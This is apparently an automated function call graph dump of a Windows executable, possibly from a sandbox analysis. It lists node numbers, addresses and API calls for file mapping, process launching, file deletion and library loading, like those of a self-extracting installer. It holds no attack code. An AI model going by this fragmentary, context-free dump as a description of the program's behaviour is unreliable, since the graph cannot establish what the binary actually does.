23150->23356 23152 bdafac 23359 bc1294 GetDlgItem EnableWindow 23152->23359 23153->23146 23161 bdb522 93 API calls 23153->23161 23154->23179 23155 bdae65 23155->23143 23157->23147 23158->23147 23159->23162 23163 bdabb0 23159->23163 23166 bdaff6 SetDlgItemTextW 23160->23166 23167 bdae9f 23161->23167 23169 bda98f GetModuleFileNameW 23162->23169 23170 bdab4b 23162->23170 23269 bc12b2 GetDlgItem ShowWindow 23163->23269 23164 bdaf65 23357 bd9059 32 API calls 23164->23357 23172 bc3f53 _swprintf 51 API calls 23165->23172 23166->23100 23167->23146 23174 bdaea8 DialogBoxParamW 23167->23174 23350 bce7e0 75 API calls 23169->23350 23170->23080 23182 bcda8b 53 API calls 23170->23182 23178 bda921 23172->23178 23173 bcda8b 53 API calls 23173->23179 23174->23080 23174->23146 23175 bdabc0 23270 bc12b2 GetDlgItem ShowWindow 23175->23270 23177 bdaf84 23177->23134 23254 bc95c0 23178->23254 23179->23134 23179->23164 23179->23173 23181 bda9b9 23185 bc3f53 _swprintf 51 API calls 23181->23185 23183 bdab5f 23182->23183 23186 bc3f53 _swprintf 51 API calls 23183->23186 23184 bdabca 23188 bcda8b 53 API calls 23184->23188 23189 bda9db CreateFileMappingW 23185->23189 23191 bdab7d 23186->23191 23193 bdabd4 SetDlgItemTextW 23188->23193 23190 bdaa3d GetCommandLineW 23189->23190 23223 bdaaba __vswprintf_c_l 23189->23223 23195 bdaa4e 23190->23195 23205 bcda8b 53 API calls 23191->23205 23192 bda947 23196 bda94e GetLastError 23192->23196 23197 bda955 23192->23197 23271 bc12b2 GetDlgItem ShowWindow 23193->23271 23351 bda2c1 SHGetMalloc 23195->23351 23196->23197 23262 bc9506 23197->23262 23198 bdaac5 ShellExecuteExW 23218 bdaae2 23198->23218 23199 bdabe8 SetDlgItemTextW GetDlgItem 23202 bdac19 23199->23202 23203 bdac01 GetWindowLongW SetWindowLongW 23199->23203 23272 bdb522 23202->23272 23203->23202 23204 bdaa6a 23352 bda2c1 SHGetMalloc 23204->23352 23205->23080 23209 bdaa76 23353 bda2c1 SHGetMalloc 23209->23353 23210 bdab25 23210->23170 23217 bdab3b UnmapViewOfFile CloseHandle 23210->23217 23211 bdb522 93 API calls 23213 bdac35 23211->23213 23297 bdc755 23213->23297 23214 bdaa82 23354 bce942 75 API calls ___scrt_fastfail 23214->23354 23217->23170 23218->23210 23221 bdab11 Sleep 23218->23221 23220 bdaa99 MapViewOfFile 23220->23223 23221->23210 23221->23218 23222 bdb522 93 API calls 23227 bdac5b 23222->23227 23223->23198 23224 bdac84 23355 bc1294 GetDlgItem EnableWindow 23224->23355 23226->23080 23226->23101 23227->23224 23228 bdb522 93 API calls 23227->23228 23228->23224 23230 bc1339 23229->23230 23231 bc12e0 23229->23231 23361 bcd72d GetWindowLongW SetWindowLongW 23230->23361 23233 bc1346 23231->23233 23360 bcd754 62 API calls 2 library calls 23231->23360 23233->23070 23233->23071 23233->23100 23235 bc1302 23235->23233 23236 bc1315 GetDlgItem 23235->23236 23236->23233 23237 bc1325 23236->23237 23237->23233 23238 bc132b SetWindowTextW 23237->23238 23238->23233 23240 bdc247 SendMessageW SendMessageW 23239->23240 23241 bdc217 23239->23241 23242 bdc27f 23240->23242 23243 bdc29e SendMessageW SendMessageW SendMessageW 23240->23243 23244 bdc222 ShowWindow SendMessageW SendMessageW 23241->23244 23242->23243 23245 bdc2c9 SendMessageW 23243->23245 23246 bdc2e8 SendMessageW 23243->23246 23244->23240 23245->23246 23246->23116 23250 bc9de8 23247->23250 23248 bc9e79 23249 bc9f96 9 API calls 23248->23249 23251 bc9ea2 23248->23251 23249->23251 23250->23248 23250->23251 23362 bc9f96 23250->23362 23251->23130 23251->23131 23253->23141 23255 bc95ca 23254->23255 23256 bc9634 CreateFileW 23255->23256 23257 bc9628 23255->23257 23256->23257 23258 bc9686 23257->23258 23259 bcb3c9 2 API calls 23257->23259 23258->23192 23260 bc966d 23259->23260 23260->23258 23261 bc9671 CreateFileW 23260->23261 23261->23258 23263 bc952a 23262->23263 23268 bc953b 23262->23268 23264 bc953d 23263->23264 23265 bc9536 23263->23265 23263->23268 23414 bc9572 23264->23414 23409 bc96b9 23265->23409 23268->23159 23269->23175 23270->23184 23271->23199 23273 bdb52c __EH_prolog 23272->23273 23274 bdac27 23273->23274 23429 bda1c9 23273->23429 23274->23211 23277 bda1c9 ExpandEnvironmentStringsW 23286 bdb563 _wcsrchr 23277->23286 23278 bdb863 SetWindowTextW 23278->23286 23283 bdb654 SetFileAttributesW 23285 bdb70f GetFileAttributesW 23283->23285 23295 bdb647 ___scrt_fastfail 23283->23295 23288 bdb71d DeleteFileW 23285->23288 23285->23295 23286->23274 23286->23277 23286->23278 23290 bdba2d GetDlgItem SetWindowTextW SendMessageW 23286->23290 23293 bdba6f SendMessageW 23286->23293 23286->23295 23433 bd1438 CompareStringW 23286->23433 23434 bd966b GetCurrentDirectoryW 23286->23434 23435 bca2b9 7 API calls 23286->23435 23438 bca242 FindClose 23286->23438 23439 bda321 71 API calls new 23286->23439 23440 be2bbe 23286->23440 23288->23295 23290->23286 23291 bc3f53 _swprintf 51 API calls 23292 bdb752 GetFileAttributesW 23291->23292 23294 bdb763 MoveFileW 23292->23294 23292->23295 23293->23286 23294->23295 23296 bdb77b MoveFileExW 23294->23296 23295->23283 23295->23285 23295->23286 23295->23291 23436 bcb254 52 API calls 2 library calls 23295->23436 23437 bca2b9 7 API calls 23295->23437 23296->23295 23298 bdc75f __EH_prolog 23297->23298 23464 bcfb3e 71 API calls 23298->23464 23300 bdc790 23465 bc5baf 71 API calls 23300->23465 23302 bdc7ae 23466 bc7b7b 73 API calls 2 library calls 23302->23466 23304 bdc7f2 23467 bc7cf1 23304->23467 23306 bdc801 23307 bdac46 23306->23307 23476 bc7c0d 79 API calls 23306->23476 23307->23222 23310 bdc3a6 23309->23310 23947 bd959d 23310->23947 23313 bdad13 23313->23076 23313->23077 23314 bdc3b3 GetWindow 23314->23313 23317 bdc3cf 23314->23317 23315 bdc3dc GetClassNameW 23952 bd1438 CompareStringW 23315->23952 23317->23313 23317->23315 23318 bdc465 GetWindow 23317->23318 23319 bdc404 GetWindowLongW 23317->23319 23318->23313 23318->23317 23319->23318 23320 bdc414 SendMessageW 23319->23320 23320->23318 23321 bdc42a GetObjectW 23320->23321 23953 bd95ff GetDC GetDeviceCaps ReleaseDC 23321->23953 23323 bdc43f 23954 bd95bc GetDC GetDeviceCaps ReleaseDC 23323->23954 23955 bd97d0 8 API calls ___scrt_fastfail 23323->23955 23326 bdc44f SendMessageW DeleteObject 23326->23318 23327->23090 23329 bd9aeb 23328->23329 23330 bd9ac6 23328->23330 23332 bd9af9 23329->23332 23333 bd9af0 SHAutoComplete 23329->23333 23958 bd1438 CompareStringW 23330->23958 23336 bd9f62 23332->23336 23333->23332 23334 bd9ad9 23334->23329 23335 bd9add FindWindowExW 23334->23335 23335->23329 23337 bd9f6c __EH_prolog 23336->23337 23338 bc136e 77 API calls 23337->23338 23339 bd9f8e 23338->23339 23959 bc1eee 23339->23959 23342 bd9fa8 23344 bc161e 79 API calls 23342->23344 23343 bd9fb7 23345 bc1906 126 API calls 23343->23345 23346 bd9fb3 23344->23346 23347 bd9fd9 __vswprintf_c_l new 23345->23347 23346->23118 23346->23121 23347->23346 23348 bc161e 79 API calls 23347->23348 23348->23346 23349->23099 23350->23181 23351->23204 23352->23209 23353->23214 23354->23220 23355->23226 23356->23155 23357->23177 23358->23152 23359->23140 23360->23235 23361->23233 23363 bc9fa3 23362->23363 23364 bc9fc7 23363->23364 23366 bc9fba CreateDirectoryW 23363->23366 23375 bc9f0f 23364->23375 23366->23364 23367 bc9ffa 23366->23367 23372 bca009 23367->23372 23388 bca1d3 23367->23388 23369 bca00d GetLastError 23369->23372 23372->23250 23373 bc9fe3 23373->23369 23374 bc9fe7 CreateDirectoryW 23373->23374 23374->23367 23374->23369 23396 bc9f23 23375->23396 23378 bcb3c9 23379 bcb3d6 23378->23379 23387 bcb3e0 23379->23387 23406 bcb563 CharUpperW 23379->23406 23381 bcb3ef 23407 bcb58f CharUpperW 23381->23407 23383 bcb3fe 23384 bcb479 GetCurrentDirectoryW 23383->23384 23385 bcb402 23383->23385 23384->23387 23408 bcb563 CharUpperW 23385->23408 23387->23373 23389 bdd9c0 23388->23389 23390 bca1e0 SetFileAttributesW 23389->23390 23391 bca1f6 23390->23391 23392 bca223 23390->23392 23393 bcb3c9 2 API calls 23391->23393 23392->23372 23394 bca20a 23393->23394 23394->23392 23395 bca20e SetFileAttributesW 23394->23395 23395->23392 23404 bdd9c0 23396->23404 23399 bc9f18 23399->23369 23399->23378 23400 bc9f41 23401 bcb3c9 2 API calls 23400->23401 23402 bc9f55 23401->23402 23402->23399 23403 bc9f59 GetFileAttributesW 23402->23403 23403->23399 23405 bc9f30 GetFileAttributesW 23404->23405 23405->23399 23405->23400 23406->23381 23407->23383 23408->23387 23410 bc96c6 23409->23410 23411 bc96c2 23409->23411 23410->23411 23420 bc9ebc 23410->23420 23411->23268 23415 bc957e 23414->23415 23416 bc959c 23414->23416 23415->23416 23418 bc958a CloseHandle 23415->23418 23417 bc95bb 23416->23417 23428 bc6d95 69 API calls 23416->23428 23417->23268 23418->23416 23421 bdd9c0 23420->23421 23422 bc9ec9 DeleteFileW 23421->23422 23423 bc9edc 23422->23423 23424 bc96e0 23422->23424 23425 bcb3c9 2 API calls 23423->23425 23424->23268 23426 bc9ef0 23425->23426 23426->23424 23427 bc9ef4 DeleteFileW 23426->23427 23427->23424 23428->23417 23430 bda1d3 23429->23430 23431 bda2a9 23430->23431 23432 bda286 ExpandEnvironmentStringsW 23430->23432 23431->23286 23432->23431 23433->23286 23434->23286 23435->23286 23436->23295 23437->23295 23438->23286 23439->23286 23441 be7bee 23440->23441 23442 be7bfb 23441->23442 23443 be7c06 23441->23443 23453 be7b00 23442->23453 23445 be7c0e 23443->23445 23451 be7c17 _free 23443->23451 23446 be7ac6 _free 20 API calls 23445->23446 23449 be7c03 23446->23449 23447 be7c1c 23460 be7f42 20 API calls _free 23447->23460 23448 be7c41 HeapReAlloc 23448->23449 23448->23451 23449->23286 23451->23447 23451->23448 23461 be67a8 7 API calls 2 library calls 23451->23461 23454 be7b3e 23453->23454 23458 be7b0e _free 23453->23458 23463 be7f42 20 API calls _free 23454->23463 23456 be7b29 RtlAllocateHeap 23457 be7b3c 23456->23457 23456->23458 23457->23449 23458->23454 23458->23456 23462 be67a8 7 API calls 2 library calls 23458->23462 23460->23449 23461->23451 23462->23458 23463->23457 23464->23300 23465->23302 23466->23304 23468 bc7cfb 23467->23468 23473 bc7d65 23468->23473 23499 bca255 23468->23499 23470 bc7e11 23470->23306 23472 bc7dcf 23472->23470 23505 bc6d22 69 API calls 23472->23505 23473->23472 23474 bca255 8 API calls 23473->23474 23477 bc825a 23473->23477 23474->23473 23478 bc8264 __EH_prolog 23477->23478 23506 bc136e 23478->23506 23480 bc827f 23514 bc9cb2 23480->23514 23486 bc82ae 23634 bc161e 23486->23634 23487 bc8349 23533 bc83f2 23487->23533 23491 bc83a9 23537 bc1e9f 23491->23537 23494 bc82aa 23494->23486 23494->23487 23497 bca255 8 API calls 23494->23497 23638 bcb81f CompareStringW 23494->23638 23495 bc83b4 23495->23486 23541 bc3a2c 23495->23541 23551 bc8458 23495->23551 23497->23494 23500 bca26a 23499->23500 23501 bca26e 23500->23501 23935 bca383 23500->23935 23501->23468 23503 bca27e 23503->23501 23504 bca283 FindClose 23503->23504 23504->23501 23505->23470 23507 bc1373 __EH_prolog 23506->23507 23640 bcc567 23507->23640 23509 bc13aa 23513 bc1403 ___scrt_fastfail 23509->23513 23646 bdd880 23509->23646 23513->23480 23515 bc9cbd 23514->23515 23516 bc8295 23515->23516 23671 bc6eaf 69 API calls 23515->23671 23516->23486 23518 bc19c1 23516->23518 23519 bc19cb __EH_prolog 23518->23519 23526 bc1a0d 23519->23526 23532 bc19f4 23519->23532 23672 bc134c 23519->23672 23521 bc1b26 23675 bc6d22 69 API calls 23521->23675 23523 bc3a2c 92 API calls 23528 bc1b7d 23523->23528 23524 bc1b36 23524->23523 23524->23532 23525 bc1bc7 23531 bc1bfa 23525->23531 23525->23532 23676 bc6d22 69 API calls 23525->23676 23526->23521 23526->23524 23526->23532 23528->23525 23529 bc3a2c 92 API calls 23528->23529 23529->23528 23530 bc3a2c 92 API calls 23530->23531 23531->23530 23531->23532 23532->23494 23534 bc83ff 23533->23534 23694 bd08a0 GetSystemTime SystemTimeToFileTime 23534->23694 23536 bc8363 23536->23491 23639 bd0fe5 67 API calls 23536->23639 23538 bc1ea4 __EH_prolog 23537->23538 23540 bc1ed8 23538->23540 23696 bc1906 23538->23696 23540->23495 23542 bc3a3c 23541->23542 23543 bc3a38 23541->23543 23544 bc3a69 23542->23544 23545 bc3a5b 23542->23545 23543->23495 23871 bc277d 92 API calls 3 library calls 23544->23871 23546 bc3a9b 23545->23546 23870 bc320e 80 API calls 3 library calls 23545->23870 23546->23495 23549 bc3a67 23549->23546 23872 bc1fe3 69 API calls 23549->23872 23552 bc8462 __EH_prolog 23551->23552 23553 bc849b 23552->23553 23565 bc849f 23552->23565 23896 bd8143 95 API calls 23552->23896 23554 bc84c4 23553->23554 23559 bc854d 23553->23559 23553->23565 23555 bc84e6 23554->23555 23554->23565 23897 bc7a9a 151 API calls 23554->23897 23555->23565 23898 bd8143 95 API calls 23555->23898 23559->23565 23873 bc5d90 23559->23873 23561 bc85d8 23561->23565 23881 bc8147 23561->23881 23564 bc873f 23566 bca255 8 API calls 23564->23566 23568 bc87aa 23564->23568 23565->23495 23566->23568 23567 bcc6d1 75 API calls 23570 bc8805 _memcmp 23567->23570 23885 bc7c7e 23568->23885 23570->23565 23570->23567 23571 bc8937 23570->23571 23573 bc8930 23570->23573 23899 bc8113 77 API calls 23570->23899 23900 bc1f29 69 API calls 23570->23900 23572 bc8a0a 23571->23572 23576 bc8986 23571->23576 23578 bc8a65 23572->23578 23587 bc8a15 23572->23587 23901 bc1f29 69 API calls 23573->23901 23577 bc89f7 23576->23577 23581 bc9f0f 4 API calls 23576->23581 23580 bc8a63 23577->23580 23586 bc8ad0 23577->23586 23578->23577 23904 bc7ff5 91 API calls 23578->23904 23579 bc9088 23584 bc9506 74 API calls 23579->23584 23582 bc9506 74 API calls 23580->23582 23585 bc89be 23581->23585 23582->23565 23584->23565 23585->23577 23902 bc9234 91 API calls 23585->23902 23586->23579 23598 bc8b3b 23586->23598 23905 bc97e9 23586->23905 23587->23580 23903 bc7e31 95 API calls __except_handler4 23587->23903 23588 bca7cc 8 API calls 23591 bc8b8a 23588->23591 23594 bca7cc 8 API calls 23591->23594 23593 bc8b13 23593->23598 23909 bc1f29 69 API calls 23593->23909 23611 bc8ba0 23594->23611 23596 bc8b29 23910 bc6fb0 70 API calls 23596->23910 23598->23588 23599 bc8c63 23600 bc8cbe 23599->23600 23601 bc8dc4 23599->23601 23602 bc8d30 23600->23602 23603 bc8cce 23600->23603 23605 bc8dea 23601->23605 23606 bc8dd6 23601->23606 23622 bc8cee 23601->23622 23604 bc8147 CharUpperW 23602->23604 23607 bc8d14 23603->23607 23615 bc8cdc 23603->23615 23608 bc8d4b 23604->23608 23610 bd28b5 70 API calls 23605->23610 23609 bc91a3 121 API calls 23606->23609 23607->23622 23913 bc783f 103 API calls 23607->23913 23618 bc8d7b 23608->23618 23619 bc8d74 23608->23619 23608->23622 23609->23622 23613 bc8e03 23610->23613 23611->23599 23911 bc9979 SetFilePointer GetLastError SetEndOfFile 23611->23911 23616 bd254c 121 API calls 23613->23616 23912 bc1f29 69 API calls 23615->23912 23616->23622 23915 bc90e1 89 API calls __EH_prolog 23618->23915 23914 bc75d0 79 API calls __except_handler4 23619->23914 23625 bc8f12 23622->23625 23916 bc1f29 69 API calls 23622->23916 23624 bc901d 23624->23579 23627 bca1d3 4 API calls 23624->23627 23625->23579 23625->23624 23626 bc8fcb 23625->23626 23917 bc9c7a SetEndOfFile 23625->23917 23891 bc9b22 23626->23891 23628 bc9078 23627->23628 23628->23579 23918 bc1f29 69 API calls 23628->23918 23631 bc9012 23633 bc9572 70 API calls 23631->23633 23633->23624 23635 bc1630 23634->23635 23934 bcc60a 79 API calls 23635->23934 23638->23494 23639->23491 23641 bcc571 __EH_prolog 23640->23641 23642 bdd880 new 8 API calls 23641->23642 23643 bcc5b4 23642->23643 23644 bdd880 new 8 API calls 23643->23644 23645 bcc5d8 23644->23645 23645->23509 23649 bdd885 new 23646->23649 23647 bc13f0 23647->23513 23652 bcadbf 23647->23652 23649->23647 23658 be67a8 7 API calls 2 library calls 23649->23658 23659 bde2bc RaiseException Concurrency::cancel_current_task new 23649->23659 23660 bde29f RaiseException Concurrency::cancel_current_task 23649->23660 23653 bcadc9 __EH_prolog 23652->23653 23661 bce726 75 API calls 23653->23661 23655 bcaddb 23662 bcaed7 23655->23662 23658->23649 23661->23655 23663 bcaee9 ___scrt_fastfail 23662->23663 23666 bd05ce 23663->23666 23669 bd058e GetCurrentProcess GetProcessAffinityMask 23666->23669 23670 bcae51 23669->23670 23670->23513 23671->23516 23677 bc1715 23672->23677 23674 bc1368 23674->23526 23675->23532 23676->23531 23678 bc172b 23677->23678 23689 bc1783 __vswprintf_c_l 23677->23689 23679 bc1754 23678->23679 23690 bc6de8 69 API calls __vswprintf_c_l 23678->23690 23681 bc17aa 23679->23681 23684 bc1770 new 23679->23684 23683 be2bbe 22 API calls 23681->23683 23682 bc174a 23691 bc6e54 70 API calls 23682->23691 23686 bc17b1 23683->23686 23684->23689 23692 bc6e54 70 API calls 23684->23692 23686->23689 23693 bc6e54 70 API calls 23686->23693 23689->23674 23690->23682 23691->23679 23692->23689 23693->23689 23695 bd08d0 __vswprintf_c_l 23694->23695 23695->23536 23697 bc190b __EH_prolog 23696->23697 23698 bc1944 23697->23698 23700 bc1974 23697->23700 23703 bc191f 23697->23703 23699 bc3a2c 92 API calls 23698->23699 23699->23703 23705 bc3e61 23700->23705 23703->23540 23709 bc3e6a 23705->23709 23706 bc3a2c 92 API calls 23706->23709 23707 bc1990 23707->23703 23710 bc1db1 23707->23710 23709->23706 23709->23707 23722 bd02ff 23709->23722 23711 bc1dbb __EH_prolog 23710->23711 23730 bc3aaf 23711->23730 23713 bc1de5 23714 bc1e6c 23713->23714 23715 bc1715 71 API calls 23713->23715 23714->23703 23716 bc1dfc 23715->23716 23758 bc188c 71 API calls 23716->23758 23718 bc1e14 23720 bc1e20 23718->23720 23759 bd1006 MultiByteToWideChar 23718->23759 23760 bc188c 71 API calls 23720->23760 23723 bd0306 23722->23723 23725 bd0321 23723->23725 23728 bc6de3 RaiseException Concurrency::cancel_current_task 23723->23728 23726 bd0332 SetThreadExecutionState 23725->23726 23729 bc6de3 RaiseException Concurrency::cancel_current_task 23725->23729 23726->23709 23728->23725 23729->23726 23731 bc3ab9 __EH_prolog 23730->23731 23732 bc3acf 23731->23732 23734 bc3aeb 23731->23734 23795 bc6d22 69 API calls 23732->23795 23735 bc3d34 23734->23735 23738 bc3b17 23734->23738 23814 bc6d22 69 API calls 23735->23814 23737 bc3ada 23737->23713 23738->23737 23761 bd28b5 23738->23761 23740 bc3b98 23741 bc3c23 23740->23741 23757 bc3b8f 23740->23757 23798 bcc6d1 23740->23798 23774 bca7cc 23741->23774 23742 bc3b94 23742->23740 23797 bc1fc9 71 API calls 23742->23797 23744 bc3b66 23744->23740 23744->23742 23745 bc3b84 23744->23745 23796 bc6d22 69 API calls 23745->23796 23748 bc3c36 23751 bc3cba 23748->23751 23752 bc3cb0 23748->23752 23804 bd254c 23751->23804 23778 bc91a3 23752->23778 23755 bc3cb8 23755->23757 23813 bc1f29 69 API calls 23755->23813 23789 bd173e 23757->23789 23758->23718 23759->23720 23760->23714 23762 bd28c4 23761->23762 23764 bd28ce 23761->23764 23815 bc6e54 70 API calls 23762->23815 23765 bd290e 23764->23765 23766 bd2913 new 23764->23766 23773 bd296c ___scrt_fastfail 23764->23773 23817 be0b4a RaiseException 23765->23817 23767 bd2a23 23766->23767 23769 bd2948 23766->23769 23766->23773 23818 be0b4a RaiseException 23767->23818 23816 bd27d6 70 API calls 3 library calls 23769->23816 23771 bd2a46 23773->23744 23775 bca7d9 23774->23775 23777 bca7e3 23774->23777 23776 bdd880 new 8 API calls 23775->23776 23776->23777 23777->23748 23779 bc91ad __EH_prolog 23778->23779 23819 bc7cd8 23779->23819 23782 bc134c 71 API calls 23783 bc91bf 23782->23783 23822 bcc7ac 23783->23822 23785 bc91d1 23786 bc9219 23785->23786 23788 bcc7ac 114 API calls 23785->23788 23831 bcc964 92 API calls __vswprintf_c_l 23785->23831 23786->23755 23788->23785 23790 bd1748 23789->23790 23791 bd1761 23790->23791 23794 bd1775 23790->23794 23841 bd03de 79 API calls 23791->23841 23793 bd1768 23793->23794 23795->23737 23796->23757 23797->23740 23799 bcc704 23798->23799 23800 bcc6f2 23798->23800 23843 bc61aa 75 API calls 23799->23843 23842 bc61aa 75 API calls 23800->23842 23803 bcc6fc 23803->23741 23805 bd257e 23804->23805 23806 bd2555 23804->23806 23807 bd2572 23805->23807 23858 bd4b79 121 API calls 2 library calls 23805->23858 23806->23807 23808 bd2574 23806->23808 23810 bd256a 23806->23810 23807->23755 23857 bd5891 114 API calls 23808->23857 23844 bd62e0 23810->23844 23813->23757 23814->23737 23815->23764 23816->23773 23817->23767 23818->23771 23832 bcaa39 23819->23832 23827 bcc7c1 __vswprintf_c_l 23822->23827 23823 bcc90b 23824 bcc933 23823->23824 23835 bcc74b 23823->23835 23826 bd02ff 2 API calls 23824->23826 23829 bcc902 23826->23829 23827->23823 23827->23829 23839 bca8b4 84 API calls 2 library calls 23827->23839 23840 bd8143 95 API calls 23827->23840 23829->23785 23831->23785 23833 bcaa4d GetVersionExW 23832->23833 23834 bc7cdd 23832->23834 23833->23834 23834->23782 23836 bcc7a5 23835->23836 23837 bcc754 23835->23837 23836->23824 23837->23836 23838 bd0f9d PeekMessageW KiUserCallbackDispatcher TranslateMessage DispatchMessageW SendDlgItemMessageW 23837->23838 23838->23836 23839->23827 23840->23827 23841->23793 23842->23803 23843->23803 23859 bd2af2 23844->23859 23846 bd62f1 ___BuildCatchObject __vswprintf_c_l 23847 bcc7ac 114 API calls 23846->23847 23848 bd66c3 23846->23848 23863 bd3446 114 API calls 23846->23863 23864 bd6715 114 API calls 23846->23864 23865 bd0474 81 API calls 23846->23865 23866 bd06b1 74 API calls 23846->23866 23867 bd2e9f 93 API calls __vswprintf_c_l 23846->23867 23868 bd6d4e 121 API calls __vswprintf_c_l 23846->23868 23847->23846 23869 bd484d 93 API calls __vswprintf_c_l 23848->23869 23850 bd66d3 __vswprintf_c_l 23850->23807 23857->23807 23858->23807 23861 bd2afc __EH_prolog ___scrt_fastfail new 23859->23861 23860 bd2be7 23860->23846 23861->23860 23862 bc6e54 70 API calls 23861->23862 23862->23861 23863->23846 23864->23846 23865->23846 23866->23846 23867->23846 23868->23846 23869->23850 23870->23549 23871->23549 23872->23546 23874 bc5d9e 23873->23874 23919 bc5cbd 23874->23919 23877 bc5dd1 23878 bc5e12 23877->23878 23879 bc5e09 23877->23879 23924 bcaaa9 CompareStringW CharUpperW CompareStringW 23877->23924 23878->23879 23925 bcfaba CompareStringW 23878->23925 23879->23561 23882 bc8165 23881->23882 23931 bd1429 CharUpperW 23882->23931 23884 bc820f 23884->23564 23886 bc7c8d 23885->23886 23887 bc7ccd 23886->23887 23932 bc6f92 69 API calls 23886->23932 23887->23570 23889 bc7cc5 23933 bc6d22 69 API calls 23889->23933 23892 bc9b33 23891->23892 23895 bc9b42 23891->23895 23893 bc9b39 FlushFileBuffers 23892->23893 23892->23895 23893->23895 23894 bc9bbb SetFileTime 23894->23631 23895->23894 23896->23553 23897->23555 23898->23565 23899->23570 23900->23570 23901->23571 23902->23577 23903->23580 23904->23577 23906 bc97ef 23905->23906 23907 bc97f2 GetFileType 23905->23907 23906->23593 23908 bc9800 23907->23908 23908->23593 23909->23596 23910->23598 23911->23599 23912->23622 23913->23622 23914->23622 23915->23622 23916->23625 23917->23626 23918->23579 23926 bc5bba 23919->23926 23922 bc5cde 23922->23877 23923 bc5bba 3 API calls 23923->23922 23924->23877 23925->23879 23929 bc5bc4 23926->23929 23927 bc5cac 23927->23922 23927->23923 23929->23927 23930 bcaaa9 CompareStringW CharUpperW CompareStringW 23929->23930 23930->23929 23931->23884 23932->23889 23933->23887 23936 bca38d 23935->23936 23937 bca41d FindNextFileW 23936->23937 23938 bca3ab FindFirstFileW 23936->23938 23939 bca43c 23937->23939 23940 bca428 GetLastError 23937->23940 23941 bca3c4 23938->23941 23946 bca401 23938->23946 23939->23946 23940->23939 23942 bcb3c9 2 API calls 23941->23942 23943 bca3dd 23942->23943 23944 bca3f6 GetLastError 23943->23944 23945 bca3e1 FindFirstFileW 23943->23945 23944->23946 23945->23944 23945->23946 23946->23503 23956 bd95bc GetDC GetDeviceCaps ReleaseDC 23947->23956 23949 bd95a4 23950 bd95b0 23949->23950 23957 bd95ff GetDC GetDeviceCaps ReleaseDC 23949->23957 23950->23313 23950->23314 23952->23317 23953->23323 23954->23323 23955->23326 23956->23949 23957->23950 23958->23334 23960 bc9cb2 69 API calls 23959->23960 23961 bc1efa 23960->23961 23962 bc19c1 92 API calls 23961->23962 23965 bc1efe 23961->23965 23963 bc1f0b 23962->23963 23963->23965 23966 bc6d22 69 API calls 23963->23966 23965->23342 23965->23343 23966->23965 23967 bdd82f 23968 bdd839 23967->23968 23971 bdd58f 23968->23971 23999 bdd29d 23971->23999 23973 bdd5a9 23974 bdd606 23973->23974 23978 bdd62a 23973->23978 24010 bdd50d 11 API calls 3 library calls 23974->24010 23976 bdd611 RaiseException 23994 bdd7ff 23976->23994 23977 bdd715 23981 bdd7d1 23977->23981 23986 bdd773 GetProcAddress 23977->23986 23978->23977 23979 bdd6a2 LoadLibraryExA 23978->23979 23978->23981 23983 bdd703 23978->23983 23982 bdd6b5 GetLastError 23979->23982 23979->23983 23980 bde243 DloadUnlock 5 API calls 23984 bdd80e 23980->23984 24013 bdd50d 11 API calls 3 library calls 23981->24013 23985 bdd6de 23982->23985 23996 bdd6c8 23982->23996 23983->23977 23987 bdd70e FreeLibrary 23983->23987 24011 bdd50d 11 API calls 3 library calls 23985->24011 23986->23981 23989 bdd783 GetLastError 23986->23989 23987->23977 23991 bdd796 23989->23991 23990 bdd6e9 RaiseException 23990->23994 23991->23981 24012 bdd50d 11 API calls 3 library calls 23991->24012 23994->23980 23995 bdd7b7 RaiseException 23997 bdd29d ___delayLoadHelper2@8 11 API calls 23995->23997 23996->23983 23996->23985 23998 bdd7ce 23997->23998 23998->23981 24000 bdd2cf 23999->24000 24001 bdd2a9 23999->24001 24000->23973 24014 bdd34b 8 API calls DloadUnlock 24001->24014 24003 bdd2ae 24004 bdd2ca 24003->24004 24015 bdd49d VirtualQuery GetSystemInfo VirtualProtect DloadObtainSection DloadMakePermanentImageCommit 24003->24015 24016 bdd2d0 GetModuleHandleW GetProcAddress GetProcAddress 24004->24016 24007 bde243 DloadUnlock 5 API calls 24008 bdd58b 24007->24008 24008->23973 24009 bdd55a 24009->24007 24010->23976 24011->23990 24012->23995 24013->23994 24014->24003 24015->24004 24016->24009 24780 bda123 92 API calls 24781 bd6d1f 114 API calls 24815 be921d 71 API calls _free 24750 bc1019 29 API calls pre_c_initialization 24751 bdb014 93 API calls _swprintf 24753 be9412 31 API calls 2 library calls 24783 bd5911 121 API calls __vswprintf_c_l 24754 bde013 46 API calls 6 library calls 24731 bc190b 126 API calls __EH_prolog 24817 bde20a 28 API calls 2 library calls 24852 bc7b06 GetCurrentProcess GetLastError CloseHandle 24755 bd9c00 73 API calls 24818 be2600 5 API calls 2 library calls 24854 bddb02 38 API calls 2 library calls 22914 be867a 22922 be9b02 22914->22922 22918 be8696 22919 be86a3 22918->22919 22930 be86a6 11 API calls 22918->22930 22921 be868e 22931 be99eb 22922->22931 22925 be9b41 TlsAlloc 22926 be9b32 22925->22926 22938 bde243 22926->22938 22928 be8684 22928->22921 22929 be85f5 20 API calls _free 22928->22929 22929->22918 22930->22921 22932 be9a17 22931->22932 22933 be9a1b 22931->22933 22932->22933 22936 be9a3b 22932->22936 22945 be9a87 22932->22945 22933->22925 22933->22926 22935 be9a47 GetProcAddress 22937 be9a57 __crt_fast_encode_pointer 22935->22937 22936->22933 22936->22935 22937->22933 22939 bde24c 22938->22939 22940 bde24e IsProcessorFeaturePresent 22938->22940 22939->22928 22942 bde838 22940->22942 22952 bde7fc SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 22942->22952 22944 bde91b 22944->22928 22946 be9aa8 LoadLibraryExW 22945->22946 22950 be9a9d 22945->22950 22947 be9ac5 GetLastError 22946->22947 22951 be9add 22946->22951 22949 be9ad0 LoadLibraryExW 22947->22949 22947->22951 22948 be9af4 FreeLibrary 22948->22950 22949->22951 22950->22932 22951->22948 22951->22950 22952->22944 24757 bd9477 GdipCloneImage GdipAlloc 22955 bc1373 77 API calls 3 library calls 24758 bc6073 75 API calls 24760 be9468 21 API calls 24857 bd8764 GetClientRect 24762 bda061 GetDlgItem EnableWindow ShowWindow SendMessageW 24792 be4d5d QueryPerformanceFrequency QueryPerformanceCounter 24793 be195b 48 API calls 24033 bdd255 24034 bdd203 24033->24034 24035 bdd58f ___delayLoadHelper2@8 19 API calls 24034->24035 24035->24034 24037 bdbb54 24039 bdbb59 24037->24039 24046 bdb576 _wcsrchr 24037->24046 24038 bda1c9 ExpandEnvironmentStringsW 24038->24046 24039->24046 24063 bdc487 24039->24063 24040 bdc11f 24043 bdb863 SetWindowTextW 24043->24046 